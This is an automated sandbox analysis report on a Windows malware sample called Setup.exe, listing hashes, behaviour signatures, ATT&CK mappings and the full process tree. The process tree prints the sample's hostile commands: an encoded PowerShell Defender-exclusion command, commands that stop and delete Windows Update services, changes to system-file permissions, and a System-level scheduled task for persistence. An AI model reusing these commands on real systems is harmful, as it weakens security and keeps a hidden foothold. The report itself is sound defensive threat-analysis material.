Analysis

  • max time kernel
    137s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-05-2022 01:12

General

  • Target

    Setup.exe

  • Size

    4.6MB

  • MD5

    62ed80f638e9551e1e59b4ea9341bccd

  • SHA1

    44196e8cb0f5774decf60e12215767f092c3c008

  • SHA256

    c1143945d2559da08d0fe82b3eb88e1e7238c752b05f3b8c7970e6bd3f6c97bf

  • SHA512

    56ba1326b1d691838a77ba3e353b17421d5602d378a73e213b7bc045d3befd304ef5a1170df5ba30ef237df9ef2b18283d19fdf23c025291763c8751ae838cad

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Users\Admin\AppData\Local\Temp\iexplor.exe
      C:\Users\Admin\AppData\Local\Temp\iexplor.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:656
    • C:\Users\Admin\AppData\Local\Temp\iexplore.exe
      C:\Users\Admin\AppData\Local\Temp\iexplore.exe
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Checks whether UAC is enabled
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4928
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3716
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3508
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1140
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          4⤵
            PID:468
          • C:\Windows\system32\sc.exe
            sc stop WaaSMedicSvc
            4⤵
              PID:3152
            • C:\Windows\system32\sc.exe
              sc stop wuauserv
              4⤵
                PID:4656
              • C:\Windows\system32\sc.exe
                sc stop bits
                4⤵
                  PID:1492
                • C:\Windows\system32\sc.exe
                  sc stop dosvc
                  4⤵
                    PID:928
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                    4⤵
                    • Modifies registry key
                    PID:4048
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                    4⤵
                    • Modifies registry key
                    PID:4264
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                    4⤵
                    • Modifies security service
                    • Modifies registry key
                    PID:2296
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                    4⤵
                    • Modifies registry key
                    PID:3200
                  • C:\Windows\system32\reg.exe
                    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                    4⤵
                    • Modifies registry key
                    PID:1316
                  • C:\Windows\system32\takeown.exe
                    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                    4⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2412
                  • C:\Windows\system32\icacls.exe
                    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                    4⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:3924
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "iexplore" /tr "C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3416
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "iexplore" /tr "C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"
                    4⤵
                    • Creates scheduled task(s)
                    PID:4268
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "iexplore"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4980
                  • C:\Windows\system32\schtasks.exe
                    schtasks /run /tn "iexplore"
                    4⤵
                      PID:4724
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\iexplore.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4592
                    • C:\Windows\system32\choice.exe
                      choice /C Y /N /D Y /T 3
                      4⤵
                        PID:3960
                • C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe
                  "C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"
                  1⤵
                    PID:2888
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="
                      2⤵
                        PID:1284
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="
                      1⤵
                        PID:3660

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Execution

                      Scheduled Task

                      1
                      T1053

                      Persistence

                      Modify Existing Service

                      2
                      T1031

                      Scheduled Task

                      1
                      T1053

                      Privilege Escalation

                      Scheduled Task

                      1
                      T1053

                      Defense Evasion

                      Modify Registry

                      2
                      T1112

                      Impair Defenses

                      1
                      T1562

                      File Permissions Modification

                      1
                      T1222

                      Discovery

                      Query Registry

                      1
                      T1012

                      System Information Discovery

                      3
                      T1082

                      Impact

                      Service Stop

                      1
                      T1489

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe
                        Filesize

                        29.2MB

                        MD5

                        b55b2eeb1c60ffcaa901cc4abdf31b8a

                        SHA1

                        c973de0f8757cea293fda9879e34628dda785326

                        SHA256

                        73a77281ddc48bf1c1ffd435d1d23ede8d32158445964706fe8f6479198f3ca3

                        SHA512

                        858830b2902d6d30a27333c6e80fcc76e58651ae976b1549436d1453a83eca515f2c4e4c973caae1c439d679aa473f49f7627124b9068203bb83e9e4a9cb5a51

                      • C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe
                        Filesize

                        29.1MB

                        MD5

                        7dda5a9e56bff009e082a6363074b05a

                        SHA1

                        38ff02206ca1ffb1c0fcefdc97e2def76a9d7597

                        SHA256

                        fe943a12e497f2577d894dc8d513e405d3802c9ec35301dc89b2793af0456ffa

                        SHA512

                        a266f19b2bd6df56895a48c732fa8241c388d8fb8466431b879424cc5efecac39b7814efe027af0e470d4bb10be6941f44eb6fd0942925c3c83f1c1b56ba4acb

                      • C:\Users\Admin\AppData\Local\Temp\iexplor.exe
                        Filesize

                        508.8MB

                        MD5

                        eda59f27acd8bda62766b37d22b2c928

                        SHA1

                        9833be6e6cddf94c6ba133b73f4430ef89a88c9a

                        SHA256

                        4dfff026077aa93493edd7407dda28956a079f1618848af195934ab41f164472

                        SHA512

                        3b20fe50dc623ab0875750ea0051984309f4fa5bafc2d8649e28aeb6aaf18931ed92898d1c16777ff6359095d52be2ad57ea9885f8e69b991ba26f4c8e93802e

                      • C:\Users\Admin\AppData\Local\Temp\iexplor.exe
                        Filesize

                        510.4MB

                        MD5

                        f2b4df4916720d45a5c7cbd2780faf31

                        SHA1

                        e3ece1ad3e7f5c99ea7a3b0b518437b3ffe58a79

                        SHA256

                        fcad65d4e642fe9900acd30a833ac5022fba9817588e75d4f89165e155a3ddcb

                        SHA512

                        115885c4e01550bedc3f650599df9cde2912b3bba585061e13bad45a9cea55de57c47f8a53edef12eaba9b8a7e9d1fc409f185158f542445683867d109ddf22a

                      • C:\Users\Admin\AppData\Local\Temp\iexplore.exe
                        Filesize

                        436.1MB

                        MD5

                        8fee0276770975e0d83e8c80670366c6

                        SHA1

                        2fd836ae5043ec5e9b7189174460a0dbe81193a0

                        SHA256

                        e6eeca37aac7303a513ee93a54135ff031f23ab1d3370f4cbd61a1cea3bb7dcf

                        SHA512

                        a4548dad37fa5e31380caf948f9f0c8f5b564a3d5e3ff36771dc72d57e50f1c9bf929a8cb7bd9f0f9dadb489a08f20058ae00abd1b6acbf74bb1e178df208bcd

                      • C:\Users\Admin\AppData\Local\Temp\iexplore.exe
                        Filesize

                        468.2MB

                        MD5

                        fa4116e7f437f187a871bce955a0e0c7

                        SHA1

                        597e2a573e79b4e3ccb3c0b720cfb951d87cc23a

                        SHA256

                        b0672e8230dfdf37dc1e90cdc09d36c6101ec1dcddc2b1346dcb49d7050769c9

                        SHA512

                        f1d4b1974971b8fde658c0e36836b4ad07ddcde31990fffcc4e657b9f90f7f11a4f619b518d2dd57f80e2ae05c81f2b7ae22f52691a4cf14d8b7b55a77845a72

                      • memory/468-152-0x0000000000000000-mapping.dmp
                      • memory/656-134-0x0000000000400000-0x0000000000422000-memory.dmp
                        Filesize

                        136KB

                      • memory/656-140-0x00000000064E0000-0x0000000006A84000-memory.dmp
                        Filesize

                        5.6MB

                      • memory/656-139-0x00000000054F0000-0x0000000005556000-memory.dmp
                        Filesize

                        408KB

                      • memory/656-145-0x0000000006030000-0x00000000060C2000-memory.dmp
                        Filesize

                        584KB

                      • memory/656-133-0x0000000000000000-mapping.dmp
                      • memory/928-158-0x0000000000000000-mapping.dmp
                      • memory/1140-151-0x0000000000000000-mapping.dmp
                      • memory/1284-173-0x0000000000000000-mapping.dmp
                      • memory/1316-163-0x0000000000000000-mapping.dmp
                      • memory/1492-157-0x0000000000000000-mapping.dmp
                      • memory/2296-161-0x0000000000000000-mapping.dmp
                      • memory/2412-165-0x0000000000000000-mapping.dmp
                      • memory/2888-172-0x00007FFD448B0000-0x00007FFD45371000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/3152-154-0x0000000000000000-mapping.dmp
                      • memory/3200-162-0x0000000000000000-mapping.dmp
                      • memory/3416-153-0x0000000000000000-mapping.dmp
                      • memory/3508-149-0x0000026DD17E0000-0x0000026DD1802000-memory.dmp
                        Filesize

                        136KB

                      • memory/3508-150-0x00007FFD44790000-0x00007FFD45251000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/3508-148-0x0000000000000000-mapping.dmp
                      • memory/3660-174-0x0000000000000000-mapping.dmp
                      • memory/3716-147-0x0000000000000000-mapping.dmp
                      • memory/3924-167-0x0000000000000000-mapping.dmp
                      • memory/3960-169-0x0000000000000000-mapping.dmp
                      • memory/4048-159-0x0000000000000000-mapping.dmp
                      • memory/4264-160-0x0000000000000000-mapping.dmp
                      • memory/4268-155-0x0000000000000000-mapping.dmp
                      • memory/4592-166-0x0000000000000000-mapping.dmp
                      • memory/4656-156-0x0000000000000000-mapping.dmp
                      • memory/4712-130-0x0000000000000000-mapping.dmp
                      • memory/4724-168-0x0000000000000000-mapping.dmp
                      • memory/4928-144-0x0000000000750000-0x000000000096C000-memory.dmp
                        Filesize

                        2.1MB

                      • memory/4928-146-0x00007FFD44790000-0x00007FFD45251000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/4928-141-0x0000000000000000-mapping.dmp
                      • memory/4980-164-0x0000000000000000-mapping.dmp